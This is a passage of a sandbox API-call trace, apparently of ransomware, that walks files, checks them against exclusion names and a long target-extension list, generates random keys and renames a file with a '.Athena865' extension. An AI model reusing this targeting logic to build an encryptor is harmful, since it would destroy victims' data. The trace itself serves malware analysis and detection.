lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f460, lpName=0x0) returned 0x17c [0107.505] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4f460) returned 0x2d50000 [0107.521] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0107.521] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0107.521] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0107.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0107.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0107.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0107.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0107.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0107.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0107.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0107.522] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0107.525] CloseHandle (hObject=0x17c) returned 1 [0107.525] CloseHandle (hObject=0x154) returned 1 [0107.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0107.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0107.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0107.526] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0107.526] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0107.526] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0107.526] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2=".") returned 1 [0107.526] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="..") returned 1 [0107.526] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="windows") returned -1 [0107.526] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="bootmgr") returned 1 [0107.526] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="temp") returned -1 [0107.527] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="pagefile.sys") returned -1 [0107.527] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="boot") returned 1 [0107.527] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="ids.txt") returned -1 [0107.527] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="ntuser.dat") returned -1 [0107.527] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="perflogs") returned -1 [0107.527] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="MSBuild") returned -1 [0107.527] lstrlenW (lpString="CGMIMP32.FNT") returned 12 [0107.527] lstrcpyW (in: lpString1=0x241e8b6, lpString2="CGMIMP32.FNT" | out: lpString1="CGMIMP32.FNT") returned="CGMIMP32.FNT" [0107.527] lstrlenW (lpString="CGMIMP32.FNT") returned 12 [0107.527] lstrlenW (lpString="Athena865") returned 9 [0107.527] lstrcmpiW (lpString1="IMP32.FNT", lpString2="Athena865") returned 1 [0107.527] lstrlenW (lpString=".dll") returned 4 [0107.527] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2=".dll") returned 1 [0107.527] lstrlenW (lpString=".lnk") returned 4 [0107.527] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2=".lnk") returned 1 [0107.527] lstrlenW (lpString=".ini") returned 4 [0107.527] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2=".ini") returned 1 [0107.527] lstrlenW (lpString=".sys") returned 4 [0107.527] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2=".sys") returned 1 [0107.527] lstrlenW (lpString="CGMIMP32.FNT") returned 12 [0107.527] lstrlenW (lpString="bak") returned 3 [0107.527] lstrcmpiW (lpString1="FNT", lpString2="bak") returned 1 [0107.527] lstrlenW (lpString="ba_") returned 3 [0107.527] lstrcmpiW (lpString1="FNT", lpString2="ba_") returned 1 [0107.527] lstrlenW (lpString="dbb") returned 3 [0107.527] lstrcmpiW (lpString1="FNT", lpString2="dbb") returned 1 [0107.527] lstrlenW (lpString="vmdk") returned 4 [0107.527] lstrcmpiW (lpString1=".FNT", lpString2="vmdk") returned -1 [0107.527] lstrlenW (lpString="rar") returned 3 [0107.527] lstrcmpiW (lpString1="FNT", lpString2="rar") returned -1 [0107.527] lstrlenW (lpString="zip") returned 3 [0107.528] lstrcmpiW (lpString1="FNT", lpString2="zip") returned -1 [0107.528] lstrlenW (lpString="tgz") returned 3 [0107.528] lstrcmpiW (lpString1="FNT", lpString2="tgz") returned -1 [0107.528] lstrlenW (lpString="vbox") returned 4 [0107.528] lstrcmpiW (lpString1=".FNT", lpString2="vbox") returned -1 [0107.528] lstrlenW (lpString="vdi") returned 3 [0107.528] lstrcmpiW (lpString1="FNT", lpString2="vdi") returned -1 [0107.528] lstrlenW (lpString="vhd") returned 3 [0107.528] lstrcmpiW (lpString1="FNT", lpString2="vhd") returned -1 [0107.528] lstrlenW (lpString="vhdx") returned 4 [0107.528] lstrcmpiW (lpString1=".FNT", lpString2="vhdx") returned -1 [0107.528] lstrlenW (lpString="avhd") returned 4 [0107.528] lstrcmpiW (lpString1=".FNT", lpString2="avhd") returned -1 [0107.528] lstrlenW (lpString="db") returned 2 [0107.528] lstrcmpiW (lpString1="NT", lpString2="db") returned 1 [0107.528] lstrlenW (lpString="db2") returned 3 [0107.528] lstrcmpiW (lpString1="FNT", lpString2="db2") returned 1 [0107.528] lstrlenW (lpString="db3") returned 3 [0107.528] lstrcmpiW (lpString1="FNT", lpString2="db3") returned 1 [0107.528] lstrlenW (lpString="dbf") returned 3 [0107.528] lstrcmpiW (lpString1="FNT", lpString2="dbf") returned 1 [0107.528] lstrlenW (lpString="mdf") returned 3 [0107.528] lstrcmpiW (lpString1="FNT", lpString2="mdf") returned -1 [0107.528] lstrlenW (lpString="mdb") returned 3 [0107.528] lstrcmpiW (lpString1="FNT", lpString2="mdb") returned -1 [0107.528] lstrlenW (lpString="sql") returned 3 [0107.528] lstrcmpiW (lpString1="FNT", lpString2="sql") returned -1 [0107.528] lstrlenW (lpString="sqlite") returned 6 [0107.528] lstrcmpiW (lpString1="32.FNT", lpString2="sqlite") returned -1 [0107.528] lstrlenW (lpString="sqlite3") returned 7 [0107.528] lstrcmpiW (lpString1="P32.FNT", lpString2="sqlite3") returned -1 [0107.528] lstrlenW (lpString="sqlitedb") returned 8 [0107.528] lstrcmpiW (lpString1="MP32.FNT", lpString2="sqlitedb") returned -1 [0107.529] lstrlenW (lpString="xml") returned 3 [0107.529] lstrcmpiW (lpString1="FNT", lpString2="xml") returned -1 [0107.529] lstrlenW (lpString="$er") returned 3 [0107.529] lstrcmpiW (lpString1="FNT", lpString2="$er") returned 1 [0107.529] lstrlenW (lpString="4dd") returned 3 [0107.529] lstrcmpiW (lpString1="FNT", lpString2="4dd") returned 1 [0107.529] lstrlenW (lpString="4dl") returned 3 [0107.529] lstrcmpiW (lpString1="FNT", lpString2="4dl") returned 1 [0107.529] lstrlenW (lpString="^^^") returned 3 [0107.529] lstrcmpiW (lpString1="FNT", lpString2="^^^") returned 1 [0107.529] lstrlenW (lpString="abs") returned 3 [0107.529] lstrcmpiW (lpString1="FNT", lpString2="abs") returned 1 [0107.529] lstrlenW (lpString="abx") returned 3 [0107.529] lstrcmpiW (lpString1="FNT", lpString2="abx") returned 1 [0107.529] lstrlenW (lpString="accdb") returned 5 [0107.529] lstrcmpiW (lpString1="2.FNT", lpString2="accdb") returned -1 [0107.529] lstrlenW (lpString="accdc") returned 5 [0107.529] lstrcmpiW (lpString1="2.FNT", lpString2="accdc") returned -1 [0107.529] lstrlenW (lpString="accde") returned 5 [0107.529] lstrcmpiW (lpString1="2.FNT", lpString2="accde") returned -1 [0107.529] lstrlenW (lpString="accdr") returned 5 [0107.529] lstrcmpiW (lpString1="2.FNT", lpString2="accdr") returned -1 [0107.529] lstrlenW (lpString="accdt") returned 5 [0107.529] lstrcmpiW (lpString1="2.FNT", lpString2="accdt") returned -1 [0107.529] lstrlenW (lpString="accdw") returned 5 [0107.529] lstrcmpiW (lpString1="2.FNT", lpString2="accdw") returned -1 [0107.529] lstrlenW (lpString="accft") returned 5 [0107.529] lstrcmpiW (lpString1="2.FNT", lpString2="accft") returned -1 [0107.529] lstrlenW (lpString="adb") returned 3 [0107.529] lstrcmpiW (lpString1="FNT", lpString2="adb") returned 1 [0107.529] lstrlenW (lpString="adb") returned 3 [0107.529] lstrcmpiW (lpString1="FNT", lpString2="adb") returned 1 [0107.529] lstrlenW (lpString="ade") returned 3 [0107.530] lstrcmpiW (lpString1="FNT", lpString2="ade") returned 1 [0107.530] lstrlenW (lpString="adf") returned 3 [0107.530] lstrcmpiW (lpString1="FNT", lpString2="adf") returned 1 [0107.530] lstrlenW (lpString="adn") returned 3 [0107.530] lstrcmpiW (lpString1="FNT", lpString2="adn") returned 1 [0107.530] lstrlenW (lpString="adp") returned 3 [0107.530] lstrcmpiW (lpString1="FNT", lpString2="adp") returned 1 [0107.530] lstrlenW (lpString="alf") returned 3 [0107.530] lstrcmpiW (lpString1="FNT", lpString2="alf") returned 1 [0107.530] lstrlenW (lpString="ask") returned 3 [0107.530] lstrcmpiW (lpString1="FNT", lpString2="ask") returned 1 [0107.530] lstrlenW (lpString="btr") returned 3 [0107.530] lstrcmpiW (lpString1="FNT", lpString2="btr") returned 1 [0107.530] lstrlenW (lpString="cat") returned 3 [0107.530] lstrcmpiW (lpString1="FNT", lpString2="cat") returned 1 [0107.530] lstrlenW (lpString="cdb") returned 3 [0107.530] lstrcmpiW (lpString1="FNT", lpString2="cdb") returned 1 [0107.530] lstrlenW (lpString="ckp") returned 3 [0107.530] lstrcmpiW (lpString1="FNT", lpString2="ckp") returned 1 [0107.530] lstrlenW (lpString="cma") returned 3 [0107.530] lstrcmpiW (lpString1="FNT", lpString2="cma") returned 1 [0107.530] lstrlenW (lpString="cpd") returned 3 [0107.530] lstrcmpiW (lpString1="FNT", lpString2="cpd") returned 1 [0107.530] lstrlenW (lpString="dacpac") returned 6 [0107.530] lstrcmpiW (lpString1="32.FNT", lpString2="dacpac") returned -1 [0107.530] lstrlenW (lpString="dad") returned 3 [0107.530] lstrcmpiW (lpString1="FNT", lpString2="dad") returned 1 [0107.530] lstrlenW (lpString="dadiagrams") returned 10 [0107.530] lstrcmpiW (lpString1="MIMP32.FNT", lpString2="dadiagrams") returned 1 [0107.530] lstrlenW (lpString="daschema") returned 8 [0107.530] lstrcmpiW (lpString1="MP32.FNT", lpString2="daschema") returned 1 [0107.530] lstrlenW (lpString="db-journal") returned 10 [0107.530] lstrcmpiW (lpString1="MIMP32.FNT", lpString2="db-journal") returned 1 [0107.531] lstrlenW (lpString="db-shm") returned 6 [0107.531] lstrcmpiW (lpString1="32.FNT", lpString2="db-shm") returned -1 [0107.531] lstrlenW (lpString="db-wal") returned 6 [0107.531] lstrcmpiW (lpString1="32.FNT", lpString2="db-wal") returned -1 [0107.531] lstrlenW (lpString="dbc") returned 3 [0107.531] lstrcmpiW (lpString1="FNT", lpString2="dbc") returned 1 [0107.531] lstrlenW (lpString="dbs") returned 3 [0107.531] lstrcmpiW (lpString1="FNT", lpString2="dbs") returned 1 [0107.531] lstrlenW (lpString="dbt") returned 3 [0107.531] lstrcmpiW (lpString1="FNT", lpString2="dbt") returned 1 [0107.531] lstrlenW (lpString="dbv") returned 3 [0107.531] lstrcmpiW (lpString1="FNT", lpString2="dbv") returned 1 [0107.531] lstrlenW (lpString="dbx") returned 3 [0107.531] lstrcmpiW (lpString1="FNT", lpString2="dbx") returned 1 [0107.531] lstrlenW (lpString="dcb") returned 3 [0107.531] lstrcmpiW (lpString1="FNT", lpString2="dcb") returned 1 [0107.531] lstrlenW (lpString="dct") returned 3 [0107.531] lstrcmpiW (lpString1="FNT", lpString2="dct") returned 1 [0107.531] lstrlenW (lpString="dcx") returned 3 [0107.531] lstrcmpiW (lpString1="FNT", lpString2="dcx") returned 1 [0107.531] lstrlenW (lpString="ddl") returned 3 [0107.531] lstrcmpiW (lpString1="FNT", lpString2="ddl") returned 1 [0107.531] lstrlenW (lpString="dlis") returned 4 [0107.531] lstrcmpiW (lpString1=".FNT", lpString2="dlis") returned -1 [0107.531] lstrlenW (lpString="dp1") returned 3 [0107.531] lstrcmpiW (lpString1="FNT", lpString2="dp1") returned 1 [0107.531] lstrlenW (lpString="dqy") returned 3 [0107.531] lstrcmpiW (lpString1="FNT", lpString2="dqy") returned 1 [0107.531] lstrlenW (lpString="dsk") returned 3 [0107.531] lstrcmpiW (lpString1="FNT", lpString2="dsk") returned 1 [0107.531] lstrlenW (lpString="dsn") returned 3 [0107.531] lstrcmpiW (lpString1="FNT", lpString2="dsn") returned 1 [0107.531] lstrlenW (lpString="dtsx") returned 4 [0107.531] lstrcmpiW (lpString1=".FNT", lpString2="dtsx") returned -1 [0107.532] lstrlenW (lpString="dxl") returned 3 [0107.532] lstrcmpiW (lpString1="FNT", lpString2="dxl") returned 1 [0107.532] lstrlenW (lpString="eco") returned 3 [0107.532] lstrcmpiW (lpString1="FNT", lpString2="eco") returned 1 [0107.532] lstrlenW (lpString="ecx") returned 3 [0107.532] lstrcmpiW (lpString1="FNT", lpString2="ecx") returned 1 [0107.532] lstrlenW (lpString="edb") returned 3 [0107.532] lstrcmpiW (lpString1="FNT", lpString2="edb") returned 1 [0107.532] lstrlenW (lpString="epim") returned 4 [0107.532] lstrcmpiW (lpString1=".FNT", lpString2="epim") returned -1 [0107.532] lstrlenW (lpString="fcd") returned 3 [0107.532] lstrcmpiW (lpString1="FNT", lpString2="fcd") returned 1 [0107.532] lstrlenW (lpString="fdb") returned 3 [0107.532] lstrcmpiW (lpString1="FNT", lpString2="fdb") returned 1 [0107.532] lstrlenW (lpString="fic") returned 3 [0107.532] lstrcmpiW (lpString1="FNT", lpString2="fic") returned 1 [0107.532] lstrlenW (lpString="flexolibrary") returned 12 [0107.532] lstrlenW (lpString="fm5") returned 3 [0107.532] lstrcmpiW (lpString1="FNT", lpString2="fm5") returned 1 [0107.532] lstrlenW (lpString="fmp") returned 3 [0107.532] lstrcmpiW (lpString1="FNT", lpString2="fmp") returned 1 [0107.532] lstrlenW (lpString="fmp12") returned 5 [0107.532] lstrcmpiW (lpString1="2.FNT", lpString2="fmp12") returned -1 [0107.532] lstrlenW (lpString="fmpsl") returned 5 [0107.532] lstrcmpiW (lpString1="2.FNT", lpString2="fmpsl") returned -1 [0107.532] lstrlenW (lpString="fol") returned 3 [0107.532] lstrcmpiW (lpString1="FNT", lpString2="fol") returned -1 [0107.532] lstrlenW (lpString="fp3") returned 3 [0107.532] lstrcmpiW (lpString1="FNT", lpString2="fp3") returned -1 [0107.532] lstrlenW (lpString="fp4") returned 3 [0107.532] lstrcmpiW (lpString1="FNT", lpString2="fp4") returned -1 [0107.532] lstrlenW (lpString="fp5") returned 3 [0107.532] lstrcmpiW (lpString1="FNT", lpString2="fp5") returned -1 [0107.533] lstrlenW (lpString="fp7") returned 3 [0107.533] lstrcmpiW (lpString1="FNT", lpString2="fp7") returned -1 [0107.533] lstrlenW (lpString="fpt") returned 3 [0107.533] lstrcmpiW (lpString1="FNT", lpString2="fpt") returned -1 [0107.533] lstrlenW (lpString="frm") returned 3 [0107.533] lstrcmpiW (lpString1="FNT", lpString2="frm") returned -1 [0107.533] lstrlenW (lpString="gdb") returned 3 [0107.533] lstrcmpiW (lpString1="FNT", lpString2="gdb") returned -1 [0107.533] lstrlenW (lpString="gdb") returned 3 [0107.533] lstrcmpiW (lpString1="FNT", lpString2="gdb") returned -1 [0107.533] lstrlenW (lpString="grdb") returned 4 [0107.533] lstrcmpiW (lpString1=".FNT", lpString2="grdb") returned -1 [0107.533] lstrlenW (lpString="gwi") returned 3 [0107.533] lstrcmpiW (lpString1="FNT", lpString2="gwi") returned -1 [0107.533] lstrlenW (lpString="hdb") returned 3 [0107.533] lstrcmpiW (lpString1="FNT", lpString2="hdb") returned -1 [0107.533] lstrlenW (lpString="his") returned 3 [0107.533] lstrcmpiW (lpString1="FNT", lpString2="his") returned -1 [0107.533] lstrlenW (lpString="ib") returned 2 [0107.533] lstrcmpiW (lpString1="NT", lpString2="ib") returned 1 [0107.533] lstrlenW (lpString="idb") returned 3 [0107.533] lstrcmpiW (lpString1="FNT", lpString2="idb") returned -1 [0107.533] lstrlenW (lpString="ihx") returned 3 [0107.533] lstrcmpiW (lpString1="FNT", lpString2="ihx") returned -1 [0107.533] lstrlenW (lpString="itdb") returned 4 [0107.533] lstrcmpiW (lpString1=".FNT", lpString2="itdb") returned -1 [0107.533] lstrlenW (lpString="itw") returned 3 [0107.533] lstrcmpiW (lpString1="FNT", lpString2="itw") returned -1 [0107.533] lstrlenW (lpString="jet") returned 3 [0107.534] lstrcmpiW (lpString1="FNT", lpString2="jet") returned -1 [0107.534] lstrlenW (lpString="jtx") returned 3 [0107.534] lstrcmpiW (lpString1="FNT", lpString2="jtx") returned -1 [0107.534] lstrlenW (lpString="kdb") returned 3 [0107.534] lstrcmpiW (lpString1="FNT", lpString2="kdb") returned -1 [0107.534] lstrlenW (lpString="kexi") returned 4 [0107.534] lstrcmpiW (lpString1=".FNT", lpString2="kexi") returned -1 [0107.534] lstrlenW (lpString="kexic") returned 5 [0107.534] lstrcmpiW (lpString1="2.FNT", lpString2="kexic") returned -1 [0107.534] lstrlenW (lpString="kexis") returned 5 [0107.534] lstrcmpiW (lpString1="2.FNT", lpString2="kexis") returned -1 [0107.534] lstrlenW (lpString="lgc") returned 3 [0107.534] lstrcmpiW (lpString1="FNT", lpString2="lgc") returned -1 [0107.534] lstrlenW (lpString="lwx") returned 3 [0107.534] lstrcmpiW (lpString1="FNT", lpString2="lwx") returned -1 [0107.534] lstrlenW (lpString="maf") returned 3 [0107.534] lstrcmpiW (lpString1="FNT", lpString2="maf") returned -1 [0107.534] lstrlenW (lpString="maq") returned 3 [0107.534] lstrcmpiW (lpString1="FNT", lpString2="maq") returned -1 [0107.534] lstrlenW (lpString="mar") returned 3 [0107.534] lstrcmpiW (lpString1="FNT", lpString2="mar") returned -1 [0107.534] lstrlenW (lpString="marshal") returned 7 [0107.534] lstrcmpiW (lpString1="P32.FNT", lpString2="marshal") returned 1 [0107.534] lstrlenW (lpString="mas") returned 3 [0107.534] lstrcmpiW (lpString1="FNT", lpString2="mas") returned -1 [0107.534] lstrlenW (lpString="mav") returned 3 [0107.534] lstrcmpiW (lpString1="FNT", lpString2="mav") returned -1 [0107.534] lstrlenW (lpString="maw") returned 3 [0107.534] lstrcmpiW (lpString1="FNT", lpString2="maw") returned -1 [0107.534] lstrlenW (lpString="mdbhtml") returned 7 [0107.534] lstrcmpiW (lpString1="P32.FNT", lpString2="mdbhtml") returned 1 [0107.534] lstrlenW (lpString="mdn") returned 3 [0107.535] lstrcmpiW (lpString1="FNT", lpString2="mdn") returned -1 [0107.535] lstrlenW (lpString="mdt") returned 3 [0107.535] lstrcmpiW (lpString1="FNT", lpString2="mdt") returned -1 [0107.535] lstrlenW (lpString="mfd") returned 3 [0107.535] lstrcmpiW (lpString1="FNT", lpString2="mfd") returned -1 [0107.535] lstrlenW (lpString="mpd") returned 3 [0107.535] lstrcmpiW (lpString1="FNT", lpString2="mpd") returned -1 [0107.535] lstrlenW (lpString="mrg") returned 3 [0107.535] lstrcmpiW (lpString1="FNT", lpString2="mrg") returned -1 [0107.535] lstrlenW (lpString="mud") returned 3 [0107.535] lstrcmpiW (lpString1="FNT", lpString2="mud") returned -1 [0107.535] lstrlenW (lpString="mwb") returned 3 [0107.535] lstrcmpiW (lpString1="FNT", lpString2="mwb") returned -1 [0107.535] lstrlenW (lpString="myd") returned 3 [0107.535] lstrcmpiW (lpString1="FNT", lpString2="myd") returned -1 [0107.535] lstrlenW (lpString="ndf") returned 3 [0107.535] lstrcmpiW (lpString1="FNT", lpString2="ndf") returned -1 [0107.535] lstrlenW (lpString="nnt") returned 3 [0107.535] lstrcmpiW (lpString1="FNT", lpString2="nnt") returned -1 [0107.535] lstrlenW (lpString="nrmlib") returned 6 [0107.535] lstrcmpiW (lpString1="32.FNT", lpString2="nrmlib") returned -1 [0107.535] lstrlenW (lpString="ns2") returned 3 [0107.535] lstrcmpiW (lpString1="FNT", lpString2="ns2") returned -1 [0107.535] lstrlenW (lpString="ns3") returned 3 [0107.535] lstrcmpiW (lpString1="FNT", lpString2="ns3") returned -1 [0107.535] lstrlenW (lpString="ns4") returned 3 [0107.535] lstrcmpiW (lpString1="FNT", lpString2="ns4") returned -1 [0107.535] lstrlenW (lpString="nsf") returned 3 [0107.535] lstrcmpiW (lpString1="FNT", lpString2="nsf") returned -1 [0107.535] lstrlenW (lpString="nv") returned 2 [0107.535] lstrcmpiW (lpString1="NT", lpString2="nv") returned -1 [0107.536] lstrlenW (lpString="nv2") returned 3 [0107.536] lstrcmpiW (lpString1="FNT", lpString2="nv2") returned -1 [0107.536] lstrlenW (lpString="nwdb") returned 4 [0107.536] lstrcmpiW (lpString1=".FNT", lpString2="nwdb") returned -1 [0107.536] lstrlenW (lpString="nyf") returned 3 [0107.536] lstrcmpiW (lpString1="FNT", lpString2="nyf") returned -1 [0107.536] lstrlenW (lpString="odb") returned 3 [0107.536] lstrcmpiW (lpString1="FNT", lpString2="odb") returned -1 [0107.536] lstrlenW (lpString="odb") returned 3 [0107.536] lstrcmpiW (lpString1="FNT", lpString2="odb") returned -1 [0107.536] lstrlenW (lpString="oqy") returned 3 [0107.536] lstrcmpiW (lpString1="FNT", lpString2="oqy") returned -1 [0107.536] lstrlenW (lpString="ora") returned 3 [0107.536] lstrcmpiW (lpString1="FNT", lpString2="ora") returned -1 [0107.536] lstrlenW (lpString="orx") returned 3 [0107.536] lstrcmpiW (lpString1="FNT", lpString2="orx") returned -1 [0107.536] lstrlenW (lpString="owc") returned 3 [0107.536] lstrcmpiW (lpString1="FNT", lpString2="owc") returned -1 [0107.536] lstrlenW (lpString="p96") returned 3 [0107.536] lstrcmpiW (lpString1="FNT", lpString2="p96") returned -1 [0107.536] lstrlenW (lpString="p97") returned 3 [0107.536] lstrcmpiW (lpString1="FNT", lpString2="p97") returned -1 [0107.536] lstrlenW (lpString="pan") returned 3 [0107.536] lstrcmpiW (lpString1="FNT", lpString2="pan") returned -1 [0107.536] lstrlenW (lpString="pdb") returned 3 [0107.536] lstrcmpiW (lpString1="FNT", lpString2="pdb") returned -1 [0107.536] lstrlenW (lpString="pdm") returned 3 [0107.536] lstrcmpiW (lpString1="FNT", lpString2="pdm") returned -1 [0107.536] lstrlenW (lpString="pnz") returned 3 [0107.536] lstrcmpiW (lpString1="FNT", lpString2="pnz") returned -1 [0107.536] lstrlenW (lpString="qry") returned 3 [0107.536] lstrcmpiW (lpString1="FNT", lpString2="qry") returned -1 [0107.537] lstrlenW (lpString="qvd") returned 3 [0107.537] lstrcmpiW (lpString1="FNT", lpString2="qvd") returned -1 [0107.537] lstrlenW (lpString="rbf") returned 3 [0107.537] lstrcmpiW (lpString1="FNT", lpString2="rbf") returned -1 [0107.537] lstrlenW (lpString="rctd") returned 4 [0107.537] lstrcmpiW (lpString1=".FNT", lpString2="rctd") returned -1 [0107.537] lstrlenW (lpString="rod") returned 3 [0107.537] lstrcmpiW (lpString1="FNT", lpString2="rod") returned -1 [0107.537] lstrlenW (lpString="rodx") returned 4 [0107.537] lstrcmpiW (lpString1=".FNT", lpString2="rodx") returned -1 [0107.537] lstrlenW (lpString="rpd") returned 3 [0107.537] lstrcmpiW (lpString1="FNT", lpString2="rpd") returned -1 [0107.537] lstrlenW (lpString="rsd") returned 3 [0107.537] lstrcmpiW (lpString1="FNT", lpString2="rsd") returned -1 [0107.537] lstrlenW (lpString="sas7bdat") returned 8 [0107.537] lstrcmpiW (lpString1="MP32.FNT", lpString2="sas7bdat") returned -1 [0107.537] lstrlenW (lpString="sbf") returned 3 [0107.537] lstrcmpiW (lpString1="FNT", lpString2="sbf") returned -1 [0107.537] lstrlenW (lpString="scx") returned 3 [0107.537] lstrcmpiW (lpString1="FNT", lpString2="scx") returned -1 [0107.537] lstrlenW (lpString="sdb") returned 3 [0107.537] lstrcmpiW (lpString1="FNT", lpString2="sdb") returned -1 [0107.537] lstrlenW (lpString="sdc") returned 3 [0107.537] lstrcmpiW (lpString1="FNT", lpString2="sdc") returned -1 [0107.537] lstrlenW (lpString="sdf") returned 3 [0107.537] lstrcmpiW (lpString1="FNT", lpString2="sdf") returned -1 [0107.537] lstrlenW (lpString="sis") returned 3 [0107.537] lstrcmpiW (lpString1="FNT", lpString2="sis") returned -1 [0107.537] lstrlenW (lpString="spq") returned 3 [0107.537] lstrcmpiW (lpString1="FNT", lpString2="spq") returned -1 [0107.537] lstrlenW (lpString="te") returned 2 [0107.537] lstrcmpiW (lpString1="NT", lpString2="te") returned -1 [0107.537] lstrlenW (lpString="teacher") returned 7 [0107.538] lstrcmpiW (lpString1="P32.FNT", lpString2="teacher") returned -1 [0107.538] lstrlenW (lpString="tmd") returned 3 [0107.538] lstrcmpiW (lpString1="FNT", lpString2="tmd") returned -1 [0107.538] lstrlenW (lpString="tps") returned 3 [0107.538] lstrcmpiW (lpString1="FNT", lpString2="tps") returned -1 [0107.538] lstrlenW (lpString="trc") returned 3 [0107.538] lstrcmpiW (lpString1="FNT", lpString2="trc") returned -1 [0107.538] lstrlenW (lpString="trc") returned 3 [0107.538] lstrcmpiW (lpString1="FNT", lpString2="trc") returned -1 [0107.538] lstrlenW (lpString="trm") returned 3 [0107.538] lstrcmpiW (lpString1="FNT", lpString2="trm") returned -1 [0107.538] lstrlenW (lpString="udb") returned 3 [0107.538] lstrcmpiW (lpString1="FNT", lpString2="udb") returned -1 [0107.538] lstrlenW (lpString="udl") returned 3 [0107.538] lstrcmpiW (lpString1="FNT", lpString2="udl") returned -1 [0107.538] lstrlenW (lpString="usr") returned 3 [0107.538] lstrcmpiW (lpString1="FNT", lpString2="usr") returned -1 [0107.538] lstrlenW (lpString="v12") returned 3 [0107.538] lstrcmpiW (lpString1="FNT", lpString2="v12") returned -1 [0107.538] lstrlenW (lpString="vis") returned 3 [0107.538] lstrcmpiW (lpString1="FNT", lpString2="vis") returned -1 [0107.538] lstrlenW (lpString="vpd") returned 3 [0107.538] lstrcmpiW (lpString1="FNT", lpString2="vpd") returned -1 [0107.538] lstrlenW (lpString="vvv") returned 3 [0107.538] lstrcmpiW (lpString1="FNT", lpString2="vvv") returned -1 [0107.538] lstrlenW (lpString="wdb") returned 3 [0107.538] lstrcmpiW (lpString1="FNT", lpString2="wdb") returned -1 [0107.538] lstrlenW (lpString="wmdb") returned 4 [0107.538] lstrcmpiW (lpString1=".FNT", lpString2="wmdb") returned -1 [0107.538] lstrlenW (lpString="wrk") returned 3 [0107.538] lstrcmpiW (lpString1="FNT", lpString2="wrk") returned -1 [0107.538] lstrlenW (lpString="xdb") returned 3 [0107.539] lstrcmpiW (lpString1="FNT", lpString2="xdb") returned -1 [0107.539] lstrlenW (lpString="xld") returned 3 [0107.539] lstrcmpiW (lpString1="FNT", lpString2="xld") returned -1 [0107.539] lstrlenW (lpString="xmlff") returned 5 [0107.539] lstrcmpiW (lpString1="2.FNT", lpString2="xmlff") returned -1 [0107.539] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.Athena865") returned 77 [0107.539] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.athena865"), dwFlags=0x1) returned 1 